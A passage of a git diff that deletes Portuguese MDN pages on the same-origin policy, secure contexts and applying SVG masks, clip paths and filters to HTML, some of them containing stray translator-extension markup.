- <td>Read only.</td>
- </tr>
- <tr>
- <td>{{domxref("window.self")}}</td>
- <td>Read only.</td>
- </tr>
- <tr>
- <td>{{domxref("window.top")}}</td>
- <td>Read only.</td>
- </tr>
- <tr>
- <td>{{domxref("window.window")}}</td>
- <td>Read only.</td>
- </tr>
- </tbody>
-</table>
-
-<p>Some browsers allow access to more properties than the above.</p>
-
-<h3 id="Location">Location</h3>
-
-<p>The following cross-origin access to <code>Location</code> properties is allowed:</p>
-
-<table class="fullwidth-table standard-table">
- <thead>
- <tr>
- <th scope="col">Methods</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{domxref("location.replace")}}</td>
- </tr>
- </tbody>
-</table>
-
-<table class="fullwidth-table standard-table">
- <thead>
- <tr>
- <th scope="col">Attributes</th>
- <th scope="col"></th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{domxref("URLUtils.href")}}</td>
- <td>Write-only.</td>
- </tr>
- </tbody>
-</table>
-
-<p>Some browsers allow access to more properties than the above.</p>
-
-<h2 id="Cross-origin_data_storage_access">Cross-origin data storage access</h2>
-
-<p>Access to data stored in the browser such as <a href="/en-US/docs/Web/API/Web_Storage_API">Web Storage</a> and <a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB</a> are separated by origin. Each origin gets its own separate storage, and JavaScript in one origin cannot read from or write to the storage belonging to another origin.</p>
-
-<p>{{glossary("Cookie", "Cookies")}} use a separate definition of origins. A page can set a cookie for its own domain or any parent domain, as long as the parent domain is not a public suffix. Firefox and Chrome use the <a class="external" href="https://publicsuffix.org/">Public Suffix List</a> to determine if a domain is a public suffix. Internet Explorer uses its own internal method to determine if a domain is a public suffix. The browser will make a cookie available to the given domain including any sub-domains, no matter which protocol (HTTP/HTTPS) or port is used. When you set a cookie, you can limit its availability using the <code>Domain</code>, <code>Path</code>, <code>Secure</code>, and <code>HttpOnly</code> flags. When you read a cookie, you cannot see from where it was set. Even if you use only secure https connections, any cookie you see may have been set using an insecure connection.</p>
-
-<h2 id="See_also">See also</h2>
-
-<ul>
- <li><a href="https://www.w3.org/Security/wiki/Same_Origin_Policy">Same Origin Policy at W3C</a></li>
- <li><a href="https://web.dev/secure/same-origin-policy">Same-origin policy at web.dev</a></li>
-</ul>
-
-<div class="originaldocinfo">
-<h2 id="Original_Document_Information" name="Original_Document_Information">Original Document Information</h2>
-
-<ul>
- <li>Author(s): Jesse Ruderman</li>
-</ul>
-</div>
diff --git a/files/pt-pt/web/security/secure_contexts/index.html b/files/pt-pt/web/security/secure_contexts/index.html
deleted file mode 100644
index 23ad21540d..0000000000
--- a/files/pt-pt/web/security/secure_contexts/index.html
+++ /dev/null
@@ -1,202 +0,0 @@
----
-title: Contextos seguros
-slug: Web/Security/Secure_Contexts
-tags:
- - Contextos seguros
- - Segurança
-translation_of: Web/Security/Secure_Contexts
----
-<p><span class="seoSummary">Um <strong>contexto de segurança</strong> é uma <em><code>Window</code></em> ou <em><code>Worker</code> </em></span><em> </em>para o qual há confiança razoável de que o conteúdo foi entregue com segurança <span class="seoSummary">(via HTTPS/TLS), </span> e para o qual o potencial para a comunicação com contextos que <strong>não</strong> são seguros é limitado. Muitas <em>APIs da Web</em> e funcionalidades só são acessíveis num contexto seguro. O principal objetivo de contextos seguros é prevenir {{interwiki("wikipedia", "man-in-the-middle attack", "man-in-the-middle attackers")}} de aceder as <em>APis</em> poderosas que poderiam comprometer ainda mais a vítima de um ataque .</p>
-
-<h2 id="Porque_é_que_algumas_funcionalidades_deveriam_ser_restritas">Porque é que algumas funcionalidades deveriam ser restritas? </h2>
-
-<p>Algumas APIs na Web são muito poderosas, dando a um atacante a capacidade para fazer o seguinte e muito mais:</p>
-
-<ul>
- <li>Invadir a privacidade do utilizador.</li>
- <li>Obter acesso de baixo nível ao computador do utilizador.</li>
- <li>Obter acesso aos dados, tal como as credenciais do utilizador.</li>
-</ul>
-
-<h2 id="Quando_é_que_um_contexto_é_considerado_seguro">Quando é que um contexto é considerado seguro?</h2>
-
-<p>Um contexto será considerado seguro quando este for entregue com segurança (ou localmente), e quando ele não pode ser utilizado para fornecer acesso às APIs seguras para um contexto que não é seguro. Na prática, isto significa que, para que uma página tenha um contexto seguro, esta e todas as páginas a par dos seus originais e o abridor da cadeia devem ter sido entregues de uma forma segura .</p>
-
-<p>Por exemplo, uma página entregue de forma segura em TLS <strong>não </strong>é considerada um contexto seguro se tiver um documento original ou antigo que não tenha sido entregue de forma segura, pois, de outra forma, a página poderá expor APIs sensíveis para um antigo não entregue de forma segura via mensagens <a href="/pt-PT/docs/Web/API/Window/postMessage">postMessage</a>. Da mesma forma, se um documento TLS entregue for aberto numa nova janela por um contexto inseguro sem ser especificado <a href="/pt-PT/docs/Web/API/Window/open#noopener">noopener</a>, depois a janela aberta <strong>não </strong>é considerada um contexto seguro (uma vez que o abridor e a janela aberta poderão comunicar via PostMessage). .</p>
-
-<p>Os ficheiros entregues localmente, tais como os caminhos <em>http://localhost</em> e <em>ficheiro:// </em>são considerados como sendo entregues de forma segura.</p>
-
-<p>Os contextos que não são locais devem ser servidos sobre <em>https://</em> ou <em>wss://</em> e onde os protocolos utilizados não deverão ser considerados obsoletos. </p>
-
-<h2 id="Deteção_de_funcionalidade">Deteção de funcionalidade</h2>
-
-<p>As páginas podem utilizar a deteção de funcionalidade para verificar se elas estão num contexto seguro ou não, utilizando o booleano {{domxref("WindowOrWorkerGlobalScope.isSecureContext", "isSecureContext")}}, que é exposto num âmbito global.</p>
-
-<pre class="brush: js">if (window.isSecureContext) {
- // Page is a secure context so service workers are now available
- navigator.serviceWorker.register("/offline-worker.js").then(function () {
- ...
- });
-}</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <td>Especificação</td>
- <td>Estado</td>
- <td>Comentário</td>
- </tr>
- <tr>
- <td>{{SpecName('Contextos seguros')}}</td>
- <td>{{Spec2('Contextos seguros')}}</td>
- <td>Editor’s Draft</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2>
-
-<p>{{CompatibilityTable}}</p>
-
-<div id="compat-desktop">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Funcionalidade</th>
- <th>Chrome</th>
- <th>Firefox (Gecko)</th>
- <th>Internet Explorer</th>
- <th>Microsoft Edge</th>
- <th>Opera</th>
- <th>Safari (WebKit)</th>
- </tr>
- <tr>
- <td>Suporte básico</td>
- <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
- <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<div id="compat-mobile">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Funcionalidade</th>
- <th>Android</th>
- <th>Android Webview</th>
- <th>Firefox Mobile (Gecko)</th>
- <th>IE Phone</th>
- <th>Opera Mobile</th>
- <th>Safari Mobile</th>
- <th>Chrome for Android</th>
- </tr>
- <tr>
- <td>Suporte básico</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
- <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
- <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<p>[1] A implementação ainda não está completa.</p>
-
-<h2 id="Consulte_também">Consulte também</h2>
-
-<ul>
- <li><a href="/pt-PT/docs/Web/Security/Secure_Contexts/Funcionalidades_restringidas_para_contextos_seguros">Funcionalidades da plataforma restringidas para contextos seguros</a> — uma lista de funcionalidades disponíveis apenas nos contextos seguros</li>
- <li>{{domxref("Window.isSecureContext")}} ("Contextos seguros")</li>
- <li><a href="http://permission.site">http://permission.site</a> — Um site que lhe permite verificar qual a permissão da API que o seu navegador emprega, sobre HTTP e HTTPS.</li>
-</ul>
-
-<div id="SL_balloon_obj" style="display: block;">
-<div class="SL_ImTranslatorLogo" id="SL_button" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%; opacity: 0; display: block; left: -8px; top: -25px; transition: visibility 2s ease 0s, opacity 2s linear 0s;"> </div>
-
-<div id="SL_shadow_translation_result2" class="hidden"> </div>
-
-<div id="SL_shadow_translator">
-<div id="SL_planshet">
-<div id="SL_arrow_up" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_Bproviders">
-<div class="SL_BL_LABLE_ON" id="SL_P0" title="Google">G</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P1" title="Microsoft">M</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P2" title="Translator">T</div>
-</div>
-
-<div id="SL_alert_bbl">
-<div id="SLHKclose" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_alert_cont"> </div>
-</div>
-
-<div id="SL_TB">
-<table id="SL_tables">
- <tbody><tr>
- <td class="SL_td"><input></td>
- <td class="SL_td"><select><option value="auto">Detectar idioma</option><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_switch_b" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Alternar Idiomas"> </div>
- </td>
- <td class="SL_td"><select><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option selected value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_TTS_voice" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ouça"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_copy" id="SL_copy" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Copiar"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_font_patch"> </div>
-
- <div class="SL_bbl_font" id="SL_bbl_font" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Tamanho da fonte"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_help" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ajuda"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_pin_off" id="SL_pin" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Fixar a janela de pop-up"> </div>
- </td>
- </tr>
-</tbody></table>
-</div>
-</div>
-
-<div id="SL_shadow_translation_result"> </div>
-
-<div class="SL_loading" id="SL_loading" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_player2"> </div>
-
-<div id="SL_alert100">A função de fala é limitada a 200 caracteres</div>
-
-<div id="SL_Balloon_options" style="background: rgb(255, 255, 255) repeat scroll 0% 0%;">
-<div id="SL_arrow_down" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<table id="SL_tbl_opt" style="width: 100%;">
- <tbody><tr>
- <td><input></td>
- <td>
- <div id="SL_BBL_IMG" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Mostrar o botão do ImTranslator 3 segundos"> </div>
- </td>
- <td><a class="SL_options" title="Mostrar opções">Opções</a> : <a class="SL_options" title="Histórico de tradução">Histórico</a> : <a class="SL_options" title="Comentários">Comentários</a> : <a class="SL_options" href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&amp;hosted_button_id=GD9D8CPW8HFA2" title="Faça sua contribuição">Donate</a></td>
- <td><span id="SL_Balloon_Close" title="Encerrar">Encerrar</span></td>
- </tr>
-</tbody></table>
-</div>
-</div>
-</div>
diff --git a/files/pt-pt/web/svg/applying_svg_effects_to_html_content/index.html b/files/pt-pt/web/svg/applying_svg_effects_to_html_content/index.html
deleted file mode 100644
index ad5df9bdda..0000000000
--- a/files/pt-pt/web/svg/applying_svg_effects_to_html_content/index.html
+++ /dev/null
@@ -1,302 +0,0 @@
----
-title: Aplicar efeitos de SVG ao conteúdo HTML
-slug: Web/SVG/Applying_SVG_effects_to_HTML_content
-translation_of: Web/SVG/Applying_SVG_effects_to_HTML_content
-original_slug: Web/SVG/Aplicar_efeitos_SVG_conteudo_HTML
----
-<p>Os navegadores modernos suportam a utilização de <a href="/en-US/docs/SVG">SVG</a> dentro dos estilos de <a href="/en-US/docs/Web/CSS" title="Cascading Style Sheets">CSS</a> para aplicar efeitos gráficos ao conteúdo HTML.</p>
-
-<p>You may specify SVG in styles either within the same document or an external style sheet. There are 3 properties you can use: <a href="/en-US/docs/Web/CSS/mask"><code>mask</code></a>, <a href="/en-US/docs/Web/CSS/clip-path"><code>clip-path</code></a>, and <a href="/en-US/docs/Web/CSS/filter"><code>filter</code></a>.</p>
-
-<div class="note"><strong>Nota:</strong> as referências a SVG nos ficheiros externos devem ter a <a href="/pt-PT/docs/Web/Seguranca/politica_de_mesma_origem">mesma origem</a> como o documento de referência.</div>
-
-<h2 id="Using_embedded_SVG">Using embedded SVG</h2>
-
-<p>To apply an SVG effect using CSS styles, you first need to create the CSS style that references the SVG to apply.</p>
-
-<pre class="brush: html">&lt;style&gt;p { mask: url(#my-mask); }&lt;/style&gt;
-</pre>
-
-<p>In the above example, all paragraphs are masked by an <a href="/en-US/docs/Web/SVG/Element/mask">SVG <code>&lt;mask&gt;</code></a> with the <a href="/en-US/docs/Web/HTML/Global_attributes/id">ID</a> <code>my-mask</code>.</p>
-
-<h3 id="Example_Masking">Example: Masking</h3>
-
-<p>For example, you can make a gradient mask for HTML content using SVG and CSS code similar to the following, inside your HTML document:</p>
-
-<pre class="brush: html">&lt;svg height="0"&gt;
- &lt;mask id="mask-1"&gt;
- &lt;linearGradient id="gradient-1" y2="1"&gt;
- &lt;stop stop-color="white" offset="0"/&gt;
- &lt;stop stop-opacity="0" offset="1"/&gt;
- &lt;/linearGradient&gt;
- &lt;circle cx="0.25" cy="0.25" r="0.25" id="circle" fill="white"/&gt;
- &lt;rect x="0.5" y="0.2" width="300" height="100" fill="url(#gradient-1)"/&gt;
- &lt;/mask&gt;
-&lt;/svg&gt;
-</pre>
-
-<pre class="brush: css">.target {
- mask: url(#mask-1);
-}
-p {
- width: 300px;
- border: 1px solid #000;
- display: inline-block;
-}</pre>
-
-<p>Note that in the CSS, the mask is specified using a URL to the ID <code>#mask-1</code>, which is the ID of the SVG mask specified below it. Everything else specifies details about the gradient mask itself.</p>
-
-<p>Applying the SVG effect to (X)HTML is accomplished by assigning the <code>target</code> class defined above to an element, like this:</p>
-
-<pre class="brush: html">&lt;p class="target" style="background:lime;"&gt;
- Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt
- ut labore et dolore magna aliqua. Ut enim ad minim veniam.
-&lt;/p&gt;
-&lt;p&gt;
- Lorem ipsum dolor sit amet, consectetur adipisicing
- &lt;b class="target"&gt;elit, sed do eiusmod tempor incididunt
- ut labore et dolore magna aliqua.&lt;/b&gt;
- Ut enim ad minim veniam.
-&lt;/p&gt;
-</pre>
-
-<p>The above example would be rendered with the mask applied to it.</p>
-
-<p>{{EmbedLiveSample('Example_Masking', 650, 200)}}</p>
-
-<h3 id="Example_Clipping">Example: Clipping</h3>
-
-<p>This example demonstrates using SVG to clip HTML content. Notice that even the clickable areas for links are clipped.</p>
-
-<pre class="brush: html">&lt;p class="target" style="background:lime;"&gt;
- Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt
- ut labore et dolore magna aliqua. Ut enim ad minim veniam.
-&lt;/p&gt;
-&lt;p&gt;
- Lorem ipsum dolor sit amet, consectetur adipisicing
- &lt;b class="target"&gt;elit, sed do eiusmod tempor incididunt
- ut labore et dolore magna aliqua.&lt;/b&gt;
- Ut enim ad minim veniam.
-&lt;/p&gt;
-
-&lt;button onclick="toggleRadius()"&gt;Toggle radius&lt;/button&gt;
-
-&lt;svg height="0"&gt;
- &lt;clipPath id="clipping-path-1" clipPathUnits="objectBoundingBox"&gt;
- &lt;circle cx="0.25" cy="0.25" r="0.25" id="circle"/&gt;
- &lt;rect x="0.5" y="0.2" width="0.5" height="0.8"/&gt;
- &lt;/clipPath&gt;
-&lt;/svg&gt;
-</pre>
-
-<pre class="brush: css">.target {
- clip-path: url(#clipping-path-1);
-}
-p {
- width: 300px;
- border: 1px solid #000;
- display: inline-block;
-}</pre>
-
-<p>This establishes a clipping area made of a circle and rectangle, assigns it the ID <code>#clipping-path-1</code>, then references it in the CSS. The clip path can be assigned to any element with the <code>target</code> class.</p>
-
-<p>You can make changes to the SVG in real time and see them immediately affect the rendering of the HTML. For example, you can resize the circle in the clip path established above:</p>
-
-<pre class="brush: js">function toggleRadius() {
- var circle = document.getElementById("circle");
-  circle.r.baseVal.value = 0.40 - circle.r.baseVal.value;
-}
-</pre>
-
-<p>{{EmbedLiveSample('Example_Clipping', 650, 200)}}</p>
-
-<h3 id="Example_Filtering">Example: Filtering</h3>
-
-<p>This demonstrates applying a filter to HTML content using SVG. It establishes several filters, which are applied with CSS to three elements in both the normal and mouse <a href="/en-US/docs/Web/CSS/:hover">hover</a> states.</p>
-
-<pre class="brush: html">&lt;p class="target" style="background: lime;"&gt;
- Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt
- ut labore et dolore magna aliqua. Ut enim ad minim veniam.
-&lt;/p&gt;
-&lt;pre class="target"&gt;lorem&lt;/pre&gt;
-&lt;p&gt;
- Lorem ipsum dolor sit amet, consectetur adipisicing
- &lt;b class="target"&gt;elit, sed do eiusmod tempor incididunt
- ut labore et dolore magna aliqua.&lt;/b&gt;
- Ut enim ad minim veniam.
-&lt;/p&gt;
-</pre>
-
-<p>Any SVG filter can be applied this way. For example, to apply a blur effect, you might use:</p>
-
-<pre class="brush: html">&lt;svg height="0"&gt;
- &lt;filter id="f1"&gt;
- &lt;feGaussianBlur stdDeviation="3"/&gt;
- &lt;/filter&gt;
-&lt;/svg&gt;</pre>
-
-<p>You could also apply a color matrix:</p>
-
-<pre class="brush: html">&lt;svg height="0"&gt;
- &lt;filter id="f2"&gt;
- &lt;feColorMatrix values="0.3333 0.3333 0.3333 0 0
- 0.3333 0.3333 0.3333 0 0
- 0.3333 0.3333 0.3333 0 0
- 0 0 0 1 0"/&gt;
- &lt;/filter&gt;
-&lt;/svg&gt;
-</pre>
-
-<p>And some more filters:</p>
-
-<pre class="brush: html"><span>&lt;svg height="0"&gt;
-</span> &lt;filter id="f3"&gt;
-  &lt;feConvolveMatrix filterRes="100 100" style="color-interpolation-filters:sRGB"
-    order="3" kernelMatrix="0 -1 0   -1 4 -1   0 -1 0" preserveAlpha="true"/&gt;
-  &lt;/filter&gt;
- &lt;filter id="f4"&gt;
-  &lt;feSpecularLighting surfaceScale="5" specularConstant="1"
-                     specularExponent="10" lighting-color="white"&gt;
-   &lt;fePointLight x="-5000" y="-10000" z="20000"/&gt;
-  &lt;/feSpecularLighting&gt;
- &lt;/filter&gt;
- &lt;filter id="f5"&gt;
-   &lt;feColorMatrix values="1 0 0 0 0
-                           0 1 0 0 0
-                           0 0 1 0 0
-                           0 1 0 0 0" style="color-interpolation-filters:sRGB"/&gt;
- &lt;/filter&gt;
-<span>&lt;/svg&gt;</span></pre>
-
-<p>The five filters are applied using the following CSS:</p>
-
-<pre class="brush: css">p.target { filter:url(#f3); }
-p.target:hover { filter:url(#f5); }
-b.target { filter:url(#f1); }
-b.target:hover { filter:url(#f4); }
-pre.target { filter:url(#f2); }
-pre.target:hover { filter:url(#f3); }
-</pre>
-
-<p>{{EmbedLiveSample('Example_Filtering', 650, 200)}}</p>
-
-<p class="hidden"><a class="button liveSample" href="/files/3329/filterdemo.xhtml">View this example live</a></p>
-
-<h3 id="Example_Blurred_Text">Example: Blurred Text</h3>
-
-<p>In order to blur text, Webkit based browsers have a (prefixed) CSS filter called blur (see also <a href="/en-US/docs/Web/CSS/filter#blur%28%29_2">CSS filter</a>). You can achieve the same effect using SVG filters.</p>
-
-<pre class="brush: html">&lt;p class="blur"&gt;Time to clean my glasses&lt;/p&gt;
-&lt;svg height="0"&gt;
- &lt;defs&gt;
- &lt;filter id="wherearemyglasses" x="0" y="0"&gt;
- &lt;feGaussianBlur in="SourceGraphic" stdDeviation="1"/&gt;
- &lt;/filter&gt;
- &lt;/defs&gt;
-&lt;/svg&gt;
-</pre>
-
-<p>You can apply the SVG and the CSS filter in the same class:</p>
-
-<pre class="brush: css">.blur { filter: url(#wherearemyglasses); }</pre>
-
-<p>{{ EmbedLiveSample('Example_Blurred_Text', 300, 100) }}</p>
-
-<p>Blurring is computation heavy, so ensure to use it sparingly, especially in elements that get scrolled or animated.</p>
-
-<h2 id="Using_external_references">Using external references</h2>
-
-<p>SVG used for clipping, masking, and filtering can be loaded from an external source, as long as that source comes from the same origin as the HTML document to which it's applied.</p>
-
-<p>For example, if your CSS is in a file named <code>default.css</code>, it can look like this:</p>
-
-<pre class="brush: css" id="line1">.target { clip-path: url(resources.svg#c1); }</pre>
-
-<p>The SVG is then imported from a file named <code>resources.svg</code>, using the clip path with the ID <code>c1</code>.</p>
-
-<h2 id="See_also">See also</h2>
-
-<ul>
- <li><a href="/en-US/docs/SVG" title="SVG">SVG</a></li>
- <li><a class="external" href="http://robert.ocallahan.org/2008/06/applying-svg-effects-to-html-content_04.html">SVG Effects for HTML Content</a> (blog post)</li>
- <li><del><a class="external" href="/web-tech/2008/10/10/svg-external-document-references">SVG External Document References</a></del> (blog post) (<a href="http://web.archive.org/web/20120512132948/https://developer.mozilla.org/web-tech/2008/10/10/svg-external-document-references/" title="Web Tech Blog » Blog Archive » SVG External Document References">[archive.org] Web Tech Blog » Blog Archive » SVG External Document References</a>)</li>
-</ul>
-
-<div id="SL_balloon_obj" style="display: block;">
-<div class="SL_ImTranslatorLogo" id="SL_button" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%; opacity: 0; display: block; left: -8px; top: -25px; transition: visibility 2s ease 0s, opacity 2s linear 0s;"> </div>
-
-<div id="SL_shadow_translation_result2" class="hidden"> </div>
-
-<div id="SL_shadow_translator">
-<div id="SL_planshet">
-<div id="SL_arrow_up" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_Bproviders">
-<div class="SL_BL_LABLE_ON" id="SL_P0" title="Google">G</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P1" title="Microsoft">M</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P2" title="Translator">T</div>
-</div>
-
-<div id="SL_alert_bbl">
-<div id="SLHKclose" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_alert_cont"> </div>
-</div>
-
-<div id="SL_TB">
-<table id="SL_tables">
- <tbody><tr>
- <td class="SL_td"><input></td>
- <td class="SL_td"><select><option value="auto">Detectar idioma</option><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option 